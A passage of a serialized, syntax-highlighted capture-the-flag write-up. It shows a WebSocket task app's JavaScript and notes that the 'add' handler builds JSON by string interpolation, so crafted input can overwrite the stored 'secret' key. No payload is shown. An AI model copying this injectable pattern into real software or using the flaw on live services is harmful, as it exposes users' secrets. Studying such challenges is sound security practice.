}",{"type":29,"tag":128,"props":4869,"children":4870},{"style":182},[4871],{"type":34,"value":312},{"type":29,"tag":128,"props":4873,"children":4874},{"style":188},[4875],{"type":34,"value":1137},{"type":29,"tag":128,"props":4877,"children":4878},{"class":130,"line":3301},[4879,4883,4887,4891,4895,4900,4904,4909,4913,4917,4921,4926,4931,4936,4940,4944,4949],{"type":29,"tag":128,"props":4880,"children":4881},{"style":205},[4882],{"type":34,"value":4803},{"type":29,"tag":128,"props":4884,"children":4885},{"style":188},[4886],{"type":34,"value":1220},{"type":29,"tag":128,"props":4888,"children":4889},{"style":205},[4890],{"type":34,"value":3692},{"type":29,"tag":128,"props":4892,"children":4893},{"style":188},[4894],{"type":34,"value":213},{"type":29,"tag":128,"props":4896,"children":4897},{"style":205},[4898],{"type":34,"value":4899},"Math",{"type":29,"tag":128,"props":4901,"children":4902},{"style":188},[4903],{"type":34,"value":64},{"type":29,"tag":128,"props":4905,"children":4906},{"style":743},[4907],{"type":34,"value":4908},"floor",{"type":29,"tag":128,"props":4910,"children":4911},{"style":188},[4912],{"type":34,"value":793},{"type":29,"tag":128,"props":4914,"children":4915},{"style":205},[4916],{"type":34,"value":4899},{"type":29,"tag":128,"props":4918,"children":4919},{"style":188},[4920],{"type":34,"value":64},{"type":29,"tag":128,"props":4922,"children":4923},{"style":743},[4924],{"type":34,"value":4925},"random",{"type":29,"tag":128,"props":4927,"children":4928},{"style":188},[4929],{"type":34,"value":4930},"()",{"type":29,"tag":128,"props":4932,"children":4933},{"style":135},[4934],{"type":34,"value":4935}," *",{"type":29,"tag":128,"props":4937,"children":4938},{"style":205},[4939],{"type":34,"value":3692},{"type":29,"tag":128,"props":4941,"children":4942},{"style":188},[4943],{"type":34,"value":64},{"type":29,"tag":128,"props":4945,"children":4946},{"style":194},[4947],{"type":34,"value":4948},"length",{"type":29,"tag":128,"props":4950,"children":4951},{"style":188},[4952],{"type":34,"value":4953},")];\n",{"type":29,"tag":128,"props":4955,"children":4956},{"class":130,"line":3309},[4957],{"type":29,"tag":128,"props":4958,"children":4959},{"style":188},[4960],{"type":34,"value":4961},"                    }\n",{"type":29,"tag":128,"props":4963,"children":4964},{"class":130,"line":3317},[4965],{"type":29,"tag":128,"props":4966,"children":4967},{"emptyLinePlaceholder":906},[4968],{"type":34,"value":909},{"type":29,"tag":128,"props":4970,"children":4971},{"class":130,"line":3329},[4972,4977],{"type":29,"tag":128,"props":4973,"children":4974},{"style":182},[4975],{"type":34,"value":4976},"                    try",{"type":29,"tag":128,"props":4978,"children":4979},{"style":188},[4980],{"type":34,"value":1137},{"type":29,"tag":128,"props":4982,"children":4983},{"class":130,"line":3353},[4984,4989,4994,4998,5002,5006,5010,5014,5018,5022,5026],{"type":29,"tag":128,"props":4985,"children":4986},{"style":135},[4987],{"type":34,"value":4988},"                        const",{"type":29,"tag":128,"props":4990,"children":4991},{"style":205},[4992],{"type":34,"value":4993}," task",{"type":29,"tag":128,"props":4995,"children":4996},{"style":188},[4997],{"type":34,"value":1220},{"type":29,"tag":128,"props":4999,"children":5000},{"style":205},[5001],{"type":34,"value":4092},{"type":29,"tag":128,"props":5003,"children":5004},{"style":188},[5005],{"type":34,"value":64},{"type":29,"tag":128,"props":5007,"children":5008},{"style":743},[5009],{"type":34,"value":4101},{"type":29,"tag":128,"props":5011,"children":5012},{"style":188},[5013],{"type":34,"value":793},{"type":29,"tag":128,"props":5015,"children":5016},{"style":205},[5017],{"type":34,"value":1284},{"type":29,"tag":128,"props":5019,"children":5020},{"style":188},[5021],{"type":34,"value":64},{"type":29,"tag":128,"props":5023,"children":5024},{"style":205},[5025],{"type":34,"value":4195},{"type":29,"tag":128,"props":5027,"children":5028},{"style":188},[5029],{"type":34,"value":900},{"type":29,"tag":128,"props":5031,"children":5032},{"class":130,"line":3386},[5033,5038,5042,5047],{"type":29,"tag":128,"props":5034,"children":5035},{"style":205},[5036],{"type":34,"value":5037},"                        tasks",{"type":29,"tag":128,"props":5039,"children":5040},{"style":188},[5041],{"type":34,"value":64},{"type":29,"tag":128,"props":5043,"children":5044},{"style":743},[5045],{"type":34,"value":5046},"push",{"type":29,"tag":128,"props":5048,"children":5049},{"style":188},[5050],{"type":34,"value":2993},{"type":29,"tag":128,"props":5052,"children":5053},{"class":130,"line":3414},[5054,5059,5063,5067,5071,5076,5080,5084,5088,5092,5096,5100],{"type":29,"tag":128,"props":5055,"children":5056},{"style":194},[5057],{"type":34,"value":5058},"                            title",{"type":29,"tag":128,"props":5060,"children":5061},{"style":188},[5062],{"type":34,"value":238},{"type":29,"tag":128,"props":5064,"children":5065},{"style":743},[5066],{"type":34,"value":3593},{"type":29,"tag":128,"props":5068,"children":5069},{"style":188},[5070],{"type":34,"value":793},{"type":29,"tag":128,"props":5072,"children":5073},{"style":205},[5074],{"type":34,"value":5075},"task",{"type":29,"tag":128,"props":5077,"children":5078},{"style":188},[5079],{"type":34,"value":64},{"type":29,"tag":128,"props":5081,"children":5082},{"style":205},[5083],{"type":34,"value":4302},{"type":29,"tag":128,"props":5085,"children":5086},{"style":188},[5087],{"type":34,"value":1099},{"type":29,"tag":128,"props":5089,"children":5090},{"style":205},[5091],{"type":34,"value":4993},{"type":29,"tag":128,"props":5093,"children":5094},{"style":188},[5095],{"type":34,"value":64},{"type":29,"tag":128,"props":5097,"children":5098},{"style":205},[5099],{"type":34,"value":1552},{"type":29,"tag":128,"props":5101,"children":5102},{"style":188},[5103],{"type":34,"value":5104},"),\n",{"type":29,"tag":128,"props":5106,"children":5107},{"class":130,"line":3480},[5108,5113,5117,5121,5125,5129,5133,5137,5141,5145,5149,5153],{"type":29,"tag":128,"props":5109,"children":5110},{"style":194},[5111],{"type":34,"value":5112},"                            description",{"type":29,"tag":128,"props":5114,"children":5115},{"style":188},[5116],{"type":34,"value":238},{"type":29,"tag":128,"props":5118,"children":5119},{"style":743},[5120],{"type":34,"value":3593},{"type":29,"tag":128,"props":5122,"children":5123},{"style":188},[5124],{"type":34,"value":793},{"type":29,"tag":128,"props":5126,"children":5127},{"style":205},[5128],{"type":34,"value":5075},{"type":29,"tag":128,"props":5130,"children":5131},{"style":188},[5132],{"type":34,"value":64},{"type":29,"tag":128,"props":5134,"children":5135},{"style":205},[5136],{"type":34,"value":4329},{"type":29,"tag":128,"props":5138,"children":5139},{"style":188},[5140],{"type":34,"value":1099},{"type":29,"tag":128,"props":5142,"children":5143},{"style":205},[5144],{"type":34,"value":4993},{"type":29,"tag":128,"props":5146,"children":5147},{"style":188},[5148],{"type":34,"value":64},{"type":29,"tag":128,"props":5150,"children":5151},{"style":205},[5152],{"type":34,"value":1552},{"type":29,"tag":128,"props":5154,"children":5155},{"style":188},[5156],{"type":34,"value":5104},{"type":29,"tag":128,"props":5158,"children":5159},{"class":130,"line":3488},[5160,5165,5169,5173,5177,5182,5186,5190,5194,5198],{"type":29,"tag":128,"props":5161,"children":5162},{"style":194},[5163],{"type":34,"value":5164},"                            quote",{"type":29,"tag":128,"props":5166,"children":5167},{"style":188},[5168],{"type":34,"value":238},{"type":29,"tag":128,"props":5170,"children":5171},{"style":743},[5172],{"type":34,"value":3593},{"type":29,"tag":128,"props":5174,"children":5175},{"style":188},[5176],{"type":34,"value":793},{"type":29,"tag":128,"props":5178,"children":5179},{"style":205},[5180],{"type":34,"value":5181},"quote",{"type":29,"tag":128,"props":5183,"children":5184},{"style":188},[5185],{"type":34,"value":1099},{"type":29,"tag":128,"props":5187,"children":5188},{"style":205},[5189],{"type":34,"value":4993},{"type":29,"tag":128,"props":5191,"children":5192},{"style":188},[5193],{"type":34,"value":64},{"type":29,"tag":128,"props":5195,"children":5196},{"style":205},[5197],{"type":34,"value":1552},{"type":29,"tag":128,"props":5199,"children":5200},{"style":188},[5201],{"type":34,"value":1202},{"type":29,"tag":128,"props":5203,"children":5204},{"class":130,"line":3496},[5205],{"type":29,"tag":128,"props":5206,"children":5207},{"style":188},[5208],{"type":34,"value":5209},"                        });\n",{"type":29,"tag":128,"props":5211,"children":5212},{"class":130,"line":3504},[5213,5217,5221,5225,5229,5233],{"type":29,"tag":128,"props":5214,"children":5215},{"style":188},[5216],{"type":34,"value":4867},{"type":29,"tag":128,"props":5218,"children":5219},{"style":182},[5220],{"type":34,"value":1921},{"type":29,"tag":128,"props":5222,"children":5223},{"style":188},[5224],{"type":34,"value":191},{"type":29,"tag":128,"props":5226,"children":5227},{"style":205},[5228],{"type":34,"value":1930},{"type":29,"tag":128,"props":5230,"children":5231},{"style":188},[5232],{"type":34,"value":1127},{"type":29,"tag":128,"props":5234,"children":5235},{"style":188},[5236],{"type":34,"value":1137},{"type":29,"tag":128,"props":5238,"children":5240},{"class":130,"line":5239},56,[5241,5246,5250,5254,5258,5262,5267,5271,5275,5279,5283,5287,5292,5296,5300,5304,5308],{"type":29,"tag":128,"props":5242,"children":5243},{"style":205},[5244],{"type":34,"value":5245},"                        console",{"type":29,"tag":128,"props":5247,"children":5248},{"style":188},[5249],{"type":34,"value":64},{"type":29,"tag":128,"props":5251,"children":5252},{"style":743},[5253],{"type":34,"value":1154},{"type":29,"tag":128,"props":5255,"children":5256},{"style":188},[5257],{"type":34,"value":793},{"type":29,"tag":128,"props":5259,"children":5260},{"style":216},[5261],{"type":34,"value":4360},{"type":29,"tag":128,"props":5263,"children":5264},{"style":222},[5265],{"type":34,"value":5266},"Error parsing task ",{"type":29,"tag":128,"props":5268,"children":5269},{"style":182},[5270],{"type":34,"value":4289},{"type":29,"tag":128,"props":5272,"children":5273},{"style":222},[5274],{"type":34,"value":1284},{"type":29,"tag":128,"props":5276,"children":5277},{"style":188},[5278],{"type":34,"value":64},{"type":29,"tag":128,"props":5280,"children":5281},{"style":222},[5282],{"type":34,"value":4195},{"type":29,"tag":128,"props":5284,"children":5285},{"style":182},[5286],{"type":34,"value":4307},{"type":29,"tag":128,"props":5288,"children":5289},{"style":222},[5290],{"type":34,"value":5291},": ",{"type":29,"tag":128,"props":5293,"children":5294},{"style":182},[5295],{"type":34,"value":4289},{"type":29,"tag":128,"props":5297,"children":5298},{"style":222},[5299],{"type":34,"value":1930},{"type":29,"tag":128,"props":5301,"children":5302},{"style":182},[5303],{"type":34,"value":4307},{"type":29,"tag":128,"props":5305,"children":5306},{"style":216},[5307],{"type":34,"value":4360},{"type":29,"tag":128,"props":5309,"children":5310},{"style":188},[5311],{"type":34,"value":900},{"type":29,"tag":128,"props":5313,"children":5315},{"class":130,"line":5314},57,[5316],{"type":29,"tag":128,"props":5317,"children":5318},{"style":188},[5319],{"type":34,"value":4961},{"type":29,"tag":128,"props":5321,"children":5323},{"class":130,"line":5322},58,[5324],{"type":29,"tag":128,"props":5325,"children":5326},{"style":188},[5327],{"type":34,"value":5328},"                }\n",{"type":29,"tag":128,"props":5330,"children":5332},{"class":130,"line":5331},59,[5333,5337,5341,5345,5349,5353,5357,5361,5365,5369,5373,5377,5381,5385,5389,5393,5397,5401,5405,5409,5413,5417],{"type":29,"tag":128,"props":5334,"children":5335},{"style":205},[5336],{"type":34,"value":4372},{"type":29,"tag":128,"props":5338,"children":5339},{"style":188},[5340],{"type":34,"value":64},{"type":29,"tag":128,"props":5342,"children":5343},{"style":743},[5344],{"type":34,"value":3269},{"type":29,"tag":128,"props":5346,"children":5347},{"style":188},[5348],{"type":34,"value":793},{"type":29,"tag":128,"props":5350,"children":5351},{"style":205},[5352],{"type":34,"value":4389},{"type":29,"tag":128,"props":5354,"children":5355},{"style":188},[5356],{"type":34,"value":64},{"type":29,"tag":128,"props":5358,"children":5359},{"style":743},[5360],{"type":34,"value":4398},{"type":29,"tag":128,"props":5362,"children":5363},{"style":188},[5364],{"type":34,"value":1337},{"type":29,"tag":128,"props":5366,"children":5367},{"style":194},[5368],{"type":34,"value":4407},{"type":29,"tag":128,"props":5370,"children":5371},{"style":188},[5372],{"type":34,"value":238},{"type":29,"tag":128,"props":5374,"children":5375},{"style":182},[5376],{"type":34,"value":4416},{"type":29,"tag":128,"props":5378,"children":5379},{"style":188},[5380],{"type":34,"value":1099},{"type":29,"tag":128,"props":5382,"children":5383},{"style":194},[5384],{"type":34,"value":422},{"type":29,"tag":128,"props":5386,"children":5387},{"style":188},[5388],{"type":34,"value":238},{"type":29,"tag":128,"props":5390,"children":5391},{"style":216},[5392],{"type":34,"value":1418},{"type":29,"tag":128,"props":5394,"children":5395},{"style":222},[5396],{"type":34,"value":459},{"type":29,"tag":128,"props":5398,"children":5399},{"style":216},[5400],{"type":34,"value":219},{"type":29,"tag":128,"props":5402,"children":5403},{"style":188},[5404],{"type":34,"value":1099},{"type":29,"tag":128,"props":5406,"children":5407},{"style":194},[5408],{"type":34,"value":4685},{"type":29,"tag":128,"props":5410,"children":5411},{"style":188},[5412],{"type":34,"value":238},{"type":29,"tag":128,"props":5414,"children":5415},{"style":205},[5416],{"type":34,"value":4685},{"type":29,"tag":128,"props":5418,"children":5419},{"style":188},[5420],{"type":34,"value":4445},{"type":29,"tag":128,"props":5422,"children":5424},{"class":130,"line":5423},60,[5425,5429,5433,5437,5441,5445],{"type":29,"tag":128,"props":5426,"children":5427},{"style":188},[5428],{"type":34,"value":4453},{"type":29,"tag":128,"props":5430,"children":5431},{"style":182},[5432],{"type":34,"value":1921},{"type":29,"tag":128,"props":5434,"children":5435},{"style":188},[5436],{"type":34,"value":191},{"type":29,"tag":128,"props":5438,"children":5439},{"style":205},[5440],{"type":34,"value":1930},{"type":29,"tag":128,"props":5442,"children":5443},{"style":188},[5444],{"type":34,"value":1127},{"type":29,"tag":128,"props":5446,"children":5447},{"style":188},[5448],{"type":34,"value":1137},{"type":29,"tag":128,"props":5450,"children":5452},{"class":130,"line":5451},61,[5453,5457,5461,5465,5469,5473,5477,5481,5485,5489,5493,5497,5501,5505,5509,5513,5517,5521],{"type":29,"tag":128,"props":5454,"children":5455},{"style":205},[5456],{"type":34,"value":4372},{"type":29,"tag":128,"props":5458,"children":5459},{"style":188},[5460],{"type":34,"value":64},{"type":29,"tag":128,"props":5462,"children":5463},{"style":743},[5464],{"type":34,"value":3269},{"type":29,"tag":128,"props":5466,"children":5467},{"style":188},[5468],{"type":34,"value":793},{"type":29,"tag":128,"props":5470,"children":5471},{"style":205},[5472],{"type":34,"value":4389},{"type":29,"tag":128,"props":5474,"children":5475},{"style":188},[5476],{"type":34,"value":64},{"type":29,"tag":128,"props":5478,"children":5479},{"style":743},[5480],{"type":34,"value":4398},{"type":29,"tag":128,"props":5482,"children":5483},{"style":188},[5484],{"type":34,"value":1337},{"type":29,"tag":128,"props":5486,"children":5487},{"style":194},[5488],{"type":34,"value":4407},{"type":29,"tag":128,"props":5490,"children":5491},{"style":188},[5492],{"type":34,"value":238},{"type":29,"tag":128,"props":5494,"children":5495},{"style":182},[5496],{"type":34,"value":4521},{"type":29,"tag":128,"props":5498,"children":5499},{"style":188},[5500],{"type":34,"value":1099},{"type":29,"tag":128,"props":5502,"children":5503},{"style":194},[5504],{"type":34,"value":422},{"type":29,"tag":128,"props":5506,"children":5507},{"style":188},[5508],{"type":34,"value":238},{"type":29,"tag":128,"props":5510,"children":5511},{"style":216},[5512],{"type":34,"value":1418},{"type":29,"tag":128,"props":5514,"children":5515},{"style":222},[5516],{"type":34,"value":459},{"type":29,"tag":128,"props":5518,"children":5519},{"style":216},[5520],{"type":34,"value":219},{"type":29,"tag":128,"props":5522,"children":5523},{"style":188},[5524],{"type":34,"value":4445},{"type":29,"tag":128,"props":5526,"children":5528},{"class":130,"line":5527},62,[5529],{"type":29,"tag":128,"props":5530,"children":5531},{"style":188},[5532],{"type":34,"value":4557},{"type":29,"tag":128,"props":5534,"children":5536},{"class":130,"line":5535},63,[5537],{"type":29,"tag":128,"props":5538,"children":5539},{"style":188},[5540],{"type":34,"value":3994},{"type":29,"tag":128,"props":5542,"children":5544},{"class":130,"line":5543},64,[5545,5549],{"type":29,"tag":128,"props":5546,"children":5547},{"style":182},[5548],{"type":34,"value":4572},{"type":29,"tag":128,"props":5550,"children":5551},{"style":188},[5552],{"type":34,"value":1137},{"type":29,"tag":128,"props":5554,"children":5556},{"class":130,"line":5555},65,[5557,5561,5565,5569,5573,5577,5581,5585,5589,5593,5597,5601,5605,5609,5613,5617,5622,5626],{"type":29,"tag":128,"props":5558,"children":5559},{"style":205},[5560],{"type":34,"value":3973},{"type":29,"tag":128,"props":5562,"children":5563},{"style":188},[5564],{"type":34,"value":64},{"type":29,"tag":128,"props":5566,"children":5567},{"style":743},[5568],{"type":34,"value":3269},{"type":29,"tag":128,"props":5570,"children":5571},{"style":188},[5572],{"type":34,"value":793},{"type":29,"tag":128,"props":5574,"children":5575},{"style":205},[5576],{"type":34,"value":4389},{"type":29,"tag":128,"props":5578,"children":5579},{"style":188},[5580],{"type":34,"value":64},{"type":29,"tag":128,"props":5582,"children":5583},{"style":743},[5584],{"type":34,"value":4398},{"type":29,"tag":128,"props":5586,"children":5587},{"style":188},[5588],{"type":34,"value":1337},{"type":29,"tag":128,"props":5590,"children":5591},{"style":194},[5592],{"type":34,"value":4407},{"type":29,"tag":128,"props":5594,"children":5595},{"style":188},[5596],{"type":34,"value":238},{"type":29,"tag":128,"props":5598,"children":5599},{"style":182},[5600],{"type":34,"value":4521},{"type":29,"tag":128,"props":5602,"children":5603},{"style":188},[5604],{"type":34,"value":1099},{"type":29,"tag":128,"props":5606,"children":5607},{"style":194},[5608],{"type":34,"value":1409},{"type":29,"tag":128,"props":5610,"children":5611},{"style":188},[5612],{"type":34,"value":238},{"type":29,"tag":128,"props":5614,"children":5615},{"style":216},[5616],{"type":34,"value":1418},{"type":29,"tag":128,"props":5618,"children":5619},{"style":222},[5620],{"type":34,"value":5621},"Invalid action",{"type":29,"tag":128,"props":5623,"children":5624},{"style":216},[5625],{"type":34,"value":219},{"type":29,"tag":128,"props":5627,"children":5628},{"style":188},[5629],{"type":34,"value":4445},{"type":29,"tag":128,"props":5631,"children":5633},{"class":130,"line":5632},66,[5634],{"type":29,"tag":128,"props":5635,"children":5636},{"style":188},[5637],{"type":34,"value":3994},{"type":29,"tag":128,"props":5639,"children":5641},{"class":130,"line":5640},67,[5642],{"type":29,"tag":128,"props":5643,"children":5644},{"style":188},[5645],{"type":34,"value":4002},{"type":29,"tag":128,"props":5647,"children":5649},{"class":130,"line":5648},68,[5650],{"type":29,"tag":128,"props":5651,"children":5652},{"style":188},[5653],{"type":34,"value":5654},"};\n",{"type":29,"tag":128,"props":5656,"children":5658},{"class":130,"line":5657},69,[5659],{"type":29,"tag":128,"props":5660,"children":5661},{"emptyLinePlaceholder":906},[5662],{"type":34,"value":909},{"type":29,"tag":128,"props":5664,"children":5666},{"class":130,"line":5665},70,[5667,5671,5675,5679,5683,5687,5692,5696,5701,5705,5709],{"type":29,"tag":128,"props":5668,"children":5669},{"style":194},[5670],{"type":34,"value":3510},{"type":29,"tag":128,"props":5672,"children":5673},{"style":188},[5674],{"type":34,"value":64},{"type":29,"tag":128,"props":5676,"children":5677},{"style":194},[5678],{"type":34,"value":3519},{"type":29,"tag":128,"props":5680,"children":5681},{"style":188},[5682],{"type":34,"value":1220},{"type":29,"tag":128,"props":5684,"children":5685},{"style":188},[5686],{"type":34,"value":191},{"type":29,"tag":128,"props":5688,"children":5689},{"style":205},[5690],{"type":34,"value":5691},"database",{"type":29,"tag":128,"props":5693,"children":5694},{"style":188},[5695],{"type":34,"value":1099},{"type":29,"tag":128,"props":5697,"children":5698},{"style":205},[5699],{"type":34,"value":5700}," session",{"type":29,"tag":128,"props":5702,"children":5703},{"style":188},[5704],{"type":34,"value":1127},{"type":29,"tag":128,"props":5706,"children":5707},{"style":188},[5708],{"type":34,"value":1132},{"type":29,"tag":128,"props":5710,"children":5711},{"style":188},[5712],{"type":34,"value":1137},{"type":29,"tag":128,"props":5714,"children":5716},{"class":130,"line":5715},71,[5717,5722,5726,5731],{"type":29,"tag":128,"props":5718,"children":5719},{"style":205},[5720],{"type":34,"value":5721},"    db",{"type":29,"tag":128,"props":5723,"children":5724},{"style":188},[5725],{"type":34,"value":1220},{"type":29,"tag":128,"props":5727,"children":5728},{"style":205},[5729],{"type":34,"value":5730}," database",{"type":29,"tag":128,"props":5732,"children":5733},{"style":188},[5734],{"type":34,"value":2234},{"type":29,"tag":128,"props":5736,"children":5738},{"class":130,"line":5737},72,[5739,5743,5747,5751],{"type":29,"tag":128,"props":5740,"children":5741},{"style":205},[5742],{"type":34,"value":3843},{"type":29,"tag":128,"props":5744,"children":5745},{"style":188},[5746],{"type":34,"value":1220},{"type":29,"tag":128,"props":5748,"children":5749},{"style":205},[5750],{"type":34,"value":5700},{"type":29,"tag":128,"props":5752,"children":5753},{"style":188},[5754],{"type":34,"value":2234},{"type":29,"tag":128,"props":5756,"children":5758},{"class":130,"line":5757},73,[5759,5763,5767],{"type":29,"tag":128,"props":5760,"children":5761},{"style":182},[5762],{"type":34,"value":1371},{"type":29,"tag":128,"props":5764,"children":5765},{"style":205},[5766],{"type":34,"value":3785},{"type":29,"tag":128,"props":5768,"children":5769},{"style":188},[5770],{"type":34,"value":2234},{"type":29,"tag":128,"props":5772,"children":5774},{"class":130,"line":5773},74,[5775],{"type":29,"tag":128,"props":5776,"children":5777},{"style":188},[5778],{"type":34,"value":5654},{"type":29,"tag":43,"props":5780,"children":5781},{},[5782,5784,5789,5791,5796,5798,5804,5806,5811,5813,5818],{"type":34,"value":5783},"We need to concentrate on the ",{"type":29,"tag":49,"props":5785,"children":5787},{"className":5786},[],[5788],{"type":34,"value":4217},{"type":34,"value":5790}," action. The ",{"type":29,"tag":49,"props":5792,"children":5794},{"className":5793},[],[5795],{"type":34,"value":4217},{"type":34,"value":5797}," action will add a task in the database. The task is ",{"type":29,"tag":49,"props":5799,"children":5801},{"className":5800},[],[5802],{"type":34,"value":5803},"JSON.stringify",{"type":34,"value":5805}," and stored in the ",{"type":29,"tag":49,"props":5807,"children":5809},{"className":5808},[],[5810],{"type":34,"value":4195},{"type":34,"value":5812}," column. And there are no protection against long string. So we can overwrite the ",{"type":29,"tag":49,"props":5814,"children":5816},{"className":5815},[],[5817],{"type":34,"value":1552},{"type":34,"value":5819}," key.",{"type":29,"tag":114,"props":5821,"children":5822},{"lang":1056},[5823],{"type":29,"tag":119,"props":5824,"children":5826},{"code":5825,"language":1056,"meta":7,"className":1057,"style":7},"if (data.action === 'add') {\n    try {\n        await db.addTask(userId, `{\"title\":\"${data.title}\",\"description\":\"${data.description}\",\"secret\":\"${secret}\"}`);\n        ws.send(JSON.stringify({ success: true, action: 'add' }));\n    } catch (e) {\n        ws.send(JSON.stringify({ success: false, action: 'add' }));\n    }\n}\n",[5827],{"type":29,"tag":49,"props":5828,"children":5829},{"__ignoreMap":7},[5830,5878,5889,6000,6076,6103,6178,6185],{"type":29,"tag":128,"props":5831,"children":5832},{"class":130,"line":131},[5833,5838,5842,5846,5850,5854,5858,5862,5866,5870,5874],{"type":29,"tag":128,"props":5834,"children":5835},{"style":182},[5836],{"type":34,"value":5837},"if",{"type":29,"tag":128,"props":5839,"children":5840},{"style":188},[5841],{"type":34,"value":191},{"type":29,"tag":128,"props":5843,"children":5844},{"style":205},[5845],{"type":34,"value":4195},{"type":29,"tag":128,"props":5847,"children":5848},{"style":188},[5849],{"type":34,"value":64},{"type":29,"tag":128,"props":5851,"children":5852},{"style":205},[5853],{"type":34,"value":4204},{"type":29,"tag":128,"props":5855,"children":5856},{"style":135},[5857],{"type":34,"value":3118},{"type":29,"tag":128,"props":5859,"children":5860},{"style":216},[5861],{"type":34,"value":1418},{"type":29,"tag":128,"props":5863,"children":5864},{"style":222},[5865],{"type":34,"value":4217},{"type":29,"tag":128,"props":5867,"children":5868},{"style":216},[5869],{"type":34,"value":219},{"type":29,"tag":128,"props":5871,"children":5872},{"style":188},[5873],{"type":34,"value":1127},{"type":29,"tag":128,"props":5875,"children":5876},{"style":188},[5877],{"type":34,"value":1137},{"type":29,"tag":128,"props":5879,"children":5880},{"class":130,"line":151},[5881,5885],{"type":29,"tag":128,"props":5882,"children":5883},{"style":182},[5884],{"type":34,"value":1772},{"type":29,"tag":128,"props":5886,"children":5887},{"style":188},[5888],{"type":34,"value":1137},{"type":29,"tag":128,"props":5890,"children":5891},{"class":130,"line":169},[5892,5896,5900,5904,5908,5912,5916,5920,5924,5928,5932,5936,5940,5944,5948,5952,5956,5960,5964,5968,5972,5976,5980,5984,5988,5992,5996],{"type":29,"tag":128,"props":5893,"children":5894},{"style":182},[5895],{"type":34,"value":2699},{"type":29,"tag":128,"props":5897,"children":5898},{"style":205},[5899],{"type":34,"value":1230},{"type":29,"tag":128,"props":5901,"children":5902},{"style":188},[5903],{"type":34,"value":64},{"type":29,"tag":128,"props":5905,"children":5906},{"style":743},[5907],{"type":34,"value":4262},{"type":29,"tag":128,"props":5909,"children":5910},{"style":188},[5911],{"type":34,"value":793},{"type":29,"tag":128,"props":5913,"children":5914},{"style":205},[5915],{"type":34,"value":1197},{"type":29,"tag":128,"props":5917,"children":5918},{"style":188},[5919],{"type":34,"value":1099},{"type":29,"tag":128,"props":5921,"children":5922},{"style":216},[5923],{"type":34,"value":4279},{"type":29,"tag":128,"props":5925,"children":5926},{"style":222},[5927],{"type":34,"value":4284},{"type":29,"tag":128,"props":5929,"children":5930},{"style":182},[5931],{"type":34,"value":4289},{"type":29,"tag":128,"props":5933,"children":5934},{"style":222},[5935],{"type":34,"value":4195},{"type":29,"tag":128,"props":5937,"children":5938},{"style":188},[5939],{"type":34,"value":64},{"type":29,"tag":128,"props":5941,"children":5942},{"style":222},[5943],{"type":34,"value":4302},{"type":29,"tag":128,"props":5945,"children":5946},{"style":182},[5947],{"type":34,"value":4307},{"type":29,"tag":128,"props":5949,"children":5950},{"style":222},[5951],{"type":34,"value":4312},{"type":29,"tag":128,"props":5953,"children":5954},{"style":182},[5955],{"type":34,"value":4289},{"type":29,"tag":128,"props":5957,"children":5958},{"style":222},[5959],{"type":34,"value":4195},{"type":29,"tag":128,"props":5961,"children":5962},{"style":188},[5963],{"type":34,"value":64},{"type":29,"tag":128,"props":5965,"children":5966},{"style":222},[5967],{"type":34,"value":4329},{"type":29,"tag":128,"props":5969,"children":5970},{"style":182},[5971],{"type":34,"value":4307},{"type":29,"tag":128,"props":5973,"children":5974},{"style":222},[5975],{"type":34,"value":4338},{"type":29,"tag":128,"props":5977,"children":5978},{"style":182},[5979],{"type":34,"value":4289},{"type":29,"tag":128,"props":5981,"children":5982},{"style":222},[5983],{"type":34,"value":1552},{"type":29,"tag":128,"props":5985,"children":5986},{"style":182},[5987],{"type":34,"value":4307},{"type":29,"tag":128,"props":5989,"children":5990},{"style":222},[5991],{"type":34,"value":4355},{"type":29,"tag":128,"props":5993,"children":5994},{"style":216},[5995],{"type":34,"value":4360},{"type":29,"tag":128,"props":5997,"children":5998},{"style":188},[5999],{"type":34,"value":900},{"type":29,"tag":128,"props":6001,"children":6002},{"class":130,"line":246},[6003,6008,6012,6016,6020,6024,6028,6032,6036,6040,6044,6048,6052,6056,6060,6064,6068,6072],{"type":29,"tag":128,"props":6004,"children":6005},{"style":205},[6006],{"type":34,"value":6007},"        ws",{"type":29,"tag":128,"props":6009,"children":6010},{"style":188},[6011],{"type":34,"value":64},{"type":29,"tag":128,"props":6013,"children":6014},{"style":743},[6015],{"type":34,"value":3269},{"type":29,"tag":128,"props":6017,"children":6018},{"style":188},[6019],{"type":34,"value":793},{"type":29,"tag":128,"props":6021,"children":6022},{"style":205},[6023],{"type":34,"value":4389},{"type":29,"tag":128,"props":6025,"children":6026},{"style":188},[6027],{"type":34,"value":64},{"type":29,"tag":128,"props":6029,"children":6030},{"style":743},[6031],{"type":34,"value":4398},{"type":29,"tag":128,"props":6033,"children":6034},{"style":188},[6035],{"type":34,"value":1337},{"type":29,"tag":128,"props":6037,"children":6038},{"style":194},[6039],{"type":34,"value":4407},{"type":29,"tag":128,"props":6041,"children":6042},{"style":188},[6043],{"type":34,"value":238},{"type":29,"tag":128,"props":6045,"children":6046},{"style":182},[6047],{"type":34,"value":4416},{"type":29,"tag":128,"props":6049,"children":6050},{"style":188},[6051],{"type":34,"value":1099},{"type":29,"tag":128,"props":6053,"children":6054},{"style":194},[6055],{"type":34,"value":422},{"type":29,"tag":128,"props":6057,"children":6058},{"style":188},[6059],{"type":34,"value":238},{"type":29,"tag":128,"props":6061,"children":6062},{"style":216},[6063],{"type":34,"value":1418},{"type":29,"tag":128,"props":6065,"children":6066},{"style":222},[6067],{"type":34,"value":4217},{"type":29,"tag":128,"props":6069,"children":6070},{"style":216},[6071],{"type":34,"value":219},{"type":29,"tag":128,"props":6073,"children":6074},{"style":188},[6075],{"type":34,"value":4445},{"type":29,"tag":128,"props":6077,"children":6078},{"class":130,"line":298},[6079,6083,6087,6091,6095,6099],{"type":29,"tag":128,"props":6080,"children":6081},{"style":188},[6082],{"type":34,"value":1916},{"type":29,"tag":128,"props":6084,"children":6085},{"style":182},[6086],{"type":34,"value":1921},{"type":29,"tag":128,"props":6088,"children":6089},{"style":188},[6090],{"type":34,"value":191},{"type":29,"tag":128,"props":6092,"children":6093},{"style":205},[6094],{"type":34,"value":1930},{"type":29,"tag":128,"props":6096,"children":6097},{"style":188},[6098],{"type":34,"value":1127},{"type":29,"tag":128,"props":6100,"children":6101},{"style":188},[6102],{"type":34,"value":1137},{"type":29,"tag":128,"props":6104,"children":6105},{"class":130,"line":323},[6106,6110,6114,6118,6122,6126,6130,6134,6138,6142,6146,6150,6154,6158,6162,6166,6170,6174],{"type":29,"tag":128,"props":6107,"children":6108},{"style":205},[6109],{"type":34,"value":6007},{"type":29,"tag":128,"props":6111,"children":6112},{"style":188},[6113],{"type":34,"value":64},{"type":29,"tag":128,"props":6115,"children":6116},{"style":743},[6117],{"type":34,"value"